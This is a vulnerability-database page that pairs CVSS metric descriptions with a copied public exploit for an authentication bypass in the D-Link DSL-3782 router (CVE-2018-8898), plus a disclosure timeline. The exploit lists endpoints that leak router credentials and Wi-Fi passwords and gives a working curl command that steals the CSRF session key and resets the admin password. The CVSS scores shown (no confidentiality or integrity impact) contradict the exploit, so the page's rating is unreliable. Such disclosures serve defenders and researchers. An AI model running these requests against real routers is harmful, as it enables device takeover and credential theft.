The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: D-Link DSL-3782 Authentication Bypass
# Exploit Title: D-Link DSL 3782 - Authentication Bypass
# Vendor Homepage: https://eu.dlink.com
# Version: A1_WI_20170303 || SWVer="V100R001B012" FWVer="3.10.0.24" FirmVer="TT_77616E6771696F6E67"
# Category: Webapps
# Exploit Author: Giulio Comi
# CVE : CVE-2018-8898
# Date: 20/05/2018
# Description
# The web panel of D-Link DSL 3782 version (A1_WI_20170303) does not release a token ID (e.g. a session cookie) that identifies the logged in administrator, but only relies # on a server-side timeout that lasts few minutes.
# In addition, a server-side mitigation in place prompts for login credentials everytime the webroot is loaded, but does leave the application endpoints unprotected # and affected by this authentication bypass.
# Therefore, after a valid login of the administrator the web panel does not distinguish valid HTTP requests from the admin and the ones that come from other users.
# This way, an attacker can script an automatic routine that perform unwanted actions such as arbitrary modifications to router and SSIDs passwords and configurations.
# Some of the possible actions for retrieving important information
# GET http://192.168.1.1/romfile.cfg ---> retrieve the complete settings of the router (all credentials included)
# GET http://192.168.1.1/cgi-bin/get/New_GUI/Settings_24.asp ---> retrieve the password for SSID of 2.4Ghz
# GET http://192.168.1.1/cgi-bin/get/New_GUI/Settings_5.asp ---> retrieve the password for SSID of 5.0Ghz
# GET http://192.168.1.1/cgi-bin/New_GUI/GuestZone.asp ---> retrieve the password for Guest network, if present
# For POST requests that makes changes to passwords, SSIDs name and configurations, a 'sessionKey' value is used by the web application to prevent Cross-site request forgery (CSRF) attacks.
# However, this value can be retrieved with this Authentication Bypass issue with the following GET request:
# 'GET http://192.168.1.1/cgi-bin/get/New_GUI/get_sessionKey.asp'
# For example, the below POST request allows to change the Web Interface Administrator's password:
curl --data "Password=[NEW_PASSWORD_SET_BY_THE_ATTACKER]" \
--data "sessionKey=$(curl -sS http://192.168.1.1/cgi-bin/get/New_GUI/get_sessionKey.asp)" \
http://192.168.1.1/cgi-bin/New_GUI/Set/Admin.asp
# Some other possible actions for altering the configurations:
# POST http://192.168.1.1/cgi-bin/New_GUI/WiFi_loding.asp ---> change passwords of the SSIDs
# POST http://192.168.1.1/cgi-bin/New_GUI/Set/firmware_upgrade.asp ---> upgrade firmware
# POST http://192.168.1.1/cgi-bin/New_GUI/Set/reboot_wait.asp ---> reboot router
# POST /cgi-bin/New_GUI/Set/config_upgrade.asp ---> upload a new configuration file ('romfile.cfg')
# Note 1: Since the router misses a network segretation, a user that has access to the Guest network could also perform this attack.
# Note 2: Web panels exposed to the Internet allows anonymous attacker to leverage this vulnerability and possibly takeover the router.
# Note 3: Others forks of the firmware and software versions have not been tested.
# Timeline
# 26/03 Vendor contacted
# 28/03 Vendor replied
# 05/04 Vendor requested more information to track the vulnerable firmware version 'because the D-Link DSL 3782 have many forks'
# 05/04 I have sent the detailed information of firmware and software version retrievable from:
# - the web panel graphic ('A1_WI_20170303')
# - the romfile.cfg ('SWVer="V100R001B012" FWVer="3.10.0.24" FirmVer="TT_77616E6771696F6E67"')
# 20/04 requested an update, no response
# 03/05 requested an update, no response
# 07/05 requested an update, still no response from the security response team
# 20/05 full disclosure
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum